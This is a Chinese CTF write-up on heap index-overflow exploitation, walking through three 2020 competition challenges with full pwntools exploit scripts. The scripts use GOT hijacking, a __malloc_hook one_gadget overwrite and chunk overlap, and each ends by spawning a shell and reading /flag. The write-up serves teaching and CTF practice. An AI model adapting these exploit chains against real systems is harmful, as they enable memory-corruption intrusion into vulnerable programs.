堆中index溢出类漏洞利用思路总结

 

0x01 写在前面

被问到这个问题,突然就意识到好像只能想到一个改got表的思路,有点丢人emmmm

于是做个总结,如果还有遗漏,欢迎大佬在评论区指出,我会在后续文章完善。

 

0x02 越界篡改GOT表

适用情形

  1. 题目没有开启FULL RELRO保护。
  2. 程序有可用GOT表项。

以 2020-CISCN-摩尔庄园的记忆 为例

我是本题的出题人,本题理论上应当用于2020年全国大学生信息安全竞赛,但是不知为何此题未出现,本题将会后续更新到我的Github,需要的同学可以自取~

程序保护

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

程序分析

程序提供了四个功能:

  1. 用户指定一个index,随后在chunk_list[index]下分配一个10 ~ 1010之间大小的chunk然后读入内容。(此处是窝写的有问题,本来是想限制在10 ~ 1000的,所以会有1%的概率分配chunk失败导致程序退出。)
  2. free掉指定位置的chunk,并将对应指针清空,对应内存位置零。
  3. 可以修改任意一个chunk的前0x10个字节。
  4. 打印指定chunk的内容。

漏洞分析

四个功能都存在index溢出的问题,我们可以利用负数访问到非法内存。

再加上程序没有开启FULL RELRO,因此我们可以直接篡改GOT表完成利用。

漏洞利用

寻找可利用指针

首先我们我们需要寻找一个可控指针以用来任意地址读写,经过查看内存

发现有一个地址处形成了一个循环指针,这个位置的indexchunk_list - 12,我们就利用此处指针。

泄露可利用指针地址
creat(sh,1,'Chunk')
delete(sh,1)
show(sh,-12)
useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
泄露 Libc 地址

接下来我们将那个循环指针指向GOT表内的函数,以泄露Libc地址

edit(sh,-12,p64(useful_point_addr - 0x88))
show(sh,-12)
libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
劫持GOT表,完成利用

我们接下来将free@GOT篡改为system,然后利用free函数触发即可。

Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

Moles_world=ELF('./Moles_world', checksec = False)

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./Moles_world")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./Moles_world")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def creat(sh,index,value):
    sh.recvuntil('| [now] >')
    sh.sendline('G')
    sh.recvuntil('| [lahm\'s index] > ')
    sh.sendline(str(index))
    sh.recvuntil('| [lahm\'s name] > ')
    sh.send(value)

def edit(sh,index,value):
    sh.recvuntil('| [now] >')
    sh.sendline('R')
    sh.recvuntil('| [lahm\'s index] > ')
    sh.sendline(str(index))
    sh.recvuntil('| [lahm\'s name begin ten char] > ')
    sh.send(value)

def show(sh,index):
    sh.recvuntil('| [now] >')
    sh.sendline('S')
    sh.recvuntil('| [lahm\'s index] > ')
    sh.sendline(str(index))

def delete(sh,index):
    sh.recvuntil('| [now] >')
    sh.sendline('A')
    sh.recvuntil('| [lahm\'s index] > ')
    sh.sendline(str(index))

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        creat(sh,0,'/bin/sh\x00')
        creat(sh,1,'Chunk')
        delete(sh,1)
        show(sh,-12)
        useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
        edit(sh,-12,p64(useful_point_addr - 0x88))
        show(sh,-12)
        libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
        edit(sh,-12,p64(libc.symbols['system']))
        delete(sh,0)
        # get_gdb(sh,stop=True)
        sh.interactive()

        get_gdb(sh,stop=True)
        sh.interactive()
        flag=get_flag(sh)
        # try:
        #     Multi_Attack()
        # except:
        #     throw('Multi_Attack_Err')
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

利用方式总结

此种利用方式就是利用了index可控,进而在.text段的.got区域分配chunk,进而控制GOT指针后完成利用的方式。

 

0x03 越界任意写全局变量

适用情形

程序中可以向chunk_list指针附近写入值。

以 2020-QWB-Just_a_Galgame 为例

程序保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

程序分析

程序提供了5个功能:

  1. 申请一个大小为0x68大小的Chunk。(上限申请6个)
  2. 向指定的Chunk进行一次越界写,即,向该chunk + 0x60的位置写入0x10个字节。(上限1次)
  3. 申请一个0x1000大小的Chunk,在那之后,增加一次越界写次数。(上限1次)
  4. 依次打印所有Chunk的内容。(无上限次数)
  5. 当且仅当输入No bye!时,退出程序。

漏洞分析

此题没有提供任何的free函数调用,可以利用越界写来构造Top Chunk,再利用House of Orange的思路来leak Libc

然后,在edit处存在另一个漏洞

此处在越界写时,程序使用了atoi函数,同时也没有对我们输入的数字以及对转换后的数值进行任何形式的验证。

这将导致我们index越界的情况发生。

漏洞利用

泄露libc

首先可以利用越界写来写Top Chunksize字段

接下来申请一个大的chunk

现在,我们成功的向unsorted bin加入了chunk,接下来我们取回,即可泄露libc

creat_small(sh)
edit(sh,0,p64(0)+p64(0xf91))
creat_big(sh)
creat_small(sh)
show(sh)
libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
利用越界达成任意写

此处要利用bye函数处的漏洞,我们先在usr_want位置写入__malloc_hook - 0x60的值

bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))

然后利用edit函数即可写__malloc_hookone_gadgat

edit(sh,8,p64(libc.address + one_gadgets[3]))

最后触发利用即可

Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

Just_a_Galgame=ELF('./Just_a_Galgame', checksec = False)
one_gadgets=[0x45226,0x4527a,0xf0364,0xf1207]

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./Just_a_Galgame")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./Just_a_Galgame")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def creat_small(sh):
    sh.recvuntil('>> ')
    sh.send('1')

def edit(sh,index,value):
    sh.recvuntil('>> ')
    sh.send('2')
    sh.recvuntil('idx >> ')
    sh.send(str(index))
    sh.recvuntil('movie name >> ')
    sh.send(value)

def creat_big(sh):
    sh.recvuntil('>> ')
    sh.send('3')

def show(sh):
    sh.recvuntil('>> ')
    sh.send('4')

def bye(sh,value):
    sh.recvuntil('>> ')
    sh.send('5')
    sh.recvuntil('\nHotaru: Won\'t you stay with me for a while? QAQ\n')
    sh.send(value)

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        creat_small(sh)
        edit(sh,0,p64(0)+p64(0xf91))
        creat_big(sh)
        creat_small(sh)
        show(sh)
        libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)

        bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
        edit(sh,8,p64(libc.address + one_gadgets[3]))
        creat_small(sh)
        # get_gdb(sh,stop=True)
        sh.interactive()
        flag=get_flag(sh)
        # try:
        #     Multi_Attack()
        # except:
        #     throw('Multi_Attack_Err')
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

 

0x04 越界篡改chunk结构

适用情形

  1. 越界可以修改heap内的内容
  2. 程序有index越界但是开启了全保护

以 2020-QWB-direct 为例

程序保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

程序分析

程序提供了5个功能:

  1. 在用户指定的index(index < 0xF)处申请一个指定大小(0 <= size <= 0x100)的Chunk
  2. 在用户指定的Chunk_list[index] + offset处写入size - offset长度的值。
  3. 释放指定的Chunk_list[index],并将指针以及size清除。
  4. 调用opendir打开一个路径。
  5. 调用readdir读取该路径下的所有目录进入点。

漏洞分析

在向chunk写入内容时,由于没有对offset做任何检查,因此可以越界修改上一个chunk的任意内容,那么我们就可以利用Off-by-one的思路构造Overlap完成利用。

漏洞利用

篡改Size域,构造Heap Overlap

首先申请两个chunk,然后调用opendir打开一个路径,由于opendir的特性,将同步生成一个大小为0x8040chunk

creat(sh,0,0x18)
creat(sh,1,0x18)
open_dir(sh)

⚠️:最上方的大小为0x250chunkscanf缓冲区,无视即可。

接下来,使用edit函数修改第一个chunksize域为0x8080,进而构造heap Overlap

edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))

劫持DIR结构体,泄露libc基址

首先调用readdir函数初始化整个DIR结构体

get_dir(sh)

接下来将libc地址推到我们即将打印的位置上

creat(sh,0,0x18)
creat(sh,3,0x78)

最后利用edit函数将7fe1处填充,以免截断即可完成libc的泄露

creat(sh,4,0x88)
edit(sh,4,-8,8,"Libc--->")
get_dir(sh)

利用Use After Free完成最终利用
delete(sh,1)
edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
creat(sh,5,0x78)
creat(sh,6,0x78)
edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
creat(sh,7,0x78)
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

direct = ELF('./direct', checksec = False)
one_gadgats = [0x4f365,0x4f3c2,0x10a45c]

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
    try:
        libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
    except:
        libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(Use_other_libc = False , Use_ssh = False):
    global libc
    if args['REMOTE'] :
        if Use_other_libc :
            libc = ELF("./", checksec = False)
        if Use_ssh :
            s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
            return s.process("./direct")
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./direct")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string,drop=True),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh,gdbscript=None,stop=False):
    gdb.attach(sh,gdbscript=gdbscript)
    if stop :
        raw_input()

def creat(sh,index,chunk_size):
    sh.recvuntil('Your choice: ')
    sh.sendline('1')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Size: ')
    sh.sendline(str(chunk_size))

def edit(sh,index,offset,input_size,value):
    sh.recvuntil('Your choice: ')
    sh.sendline('2')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Offset: ')
    sh.sendline(str(offset))
    sh.recvuntil('Size: ')
    sh.sendline(str(input_size))
    sh.recvuntil('Content: ')
    sh.sendline(value)

def delete(sh,index):
    sh.recvuntil('Your choice: ')
    sh.sendline('3')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))

def open_dir(sh):
    sh.recvuntil('Your choice: ')
    sh.sendline('4')

def get_dir(sh):
    sh.recvuntil('Your choice: ')
    sh.sendline('5')




def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        creat(sh,0,0x18)
        creat(sh,1,0x18)
        open_dir(sh)
        creat(sh,2,0x18)
        edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
        delete(sh,0)
        get_dir(sh)
        creat(sh,0,0x18)
        creat(sh,3,0x78)
        creat(sh,4,0x88)
        edit(sh,4,-8,8,"Libc--->")
        get_dir(sh)
        libc.address = get_address(sh,info='LIBC ADDRESS IS ',start_string='c--->',end_string='\n',offset=-0x3ebca0)
        delete(sh,1)
        edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
        creat(sh,5,0x78)
        creat(sh,6,0x78)
        edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
        creat(sh,7,0x78)
        # get_gdb(sh,stop=True)
        sh.interactive()
        flag=get_flag(sh)
        # try:
        #     Multi_Attack()
        # except:
        #     throw('Multi_Attack_Err')
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
(完)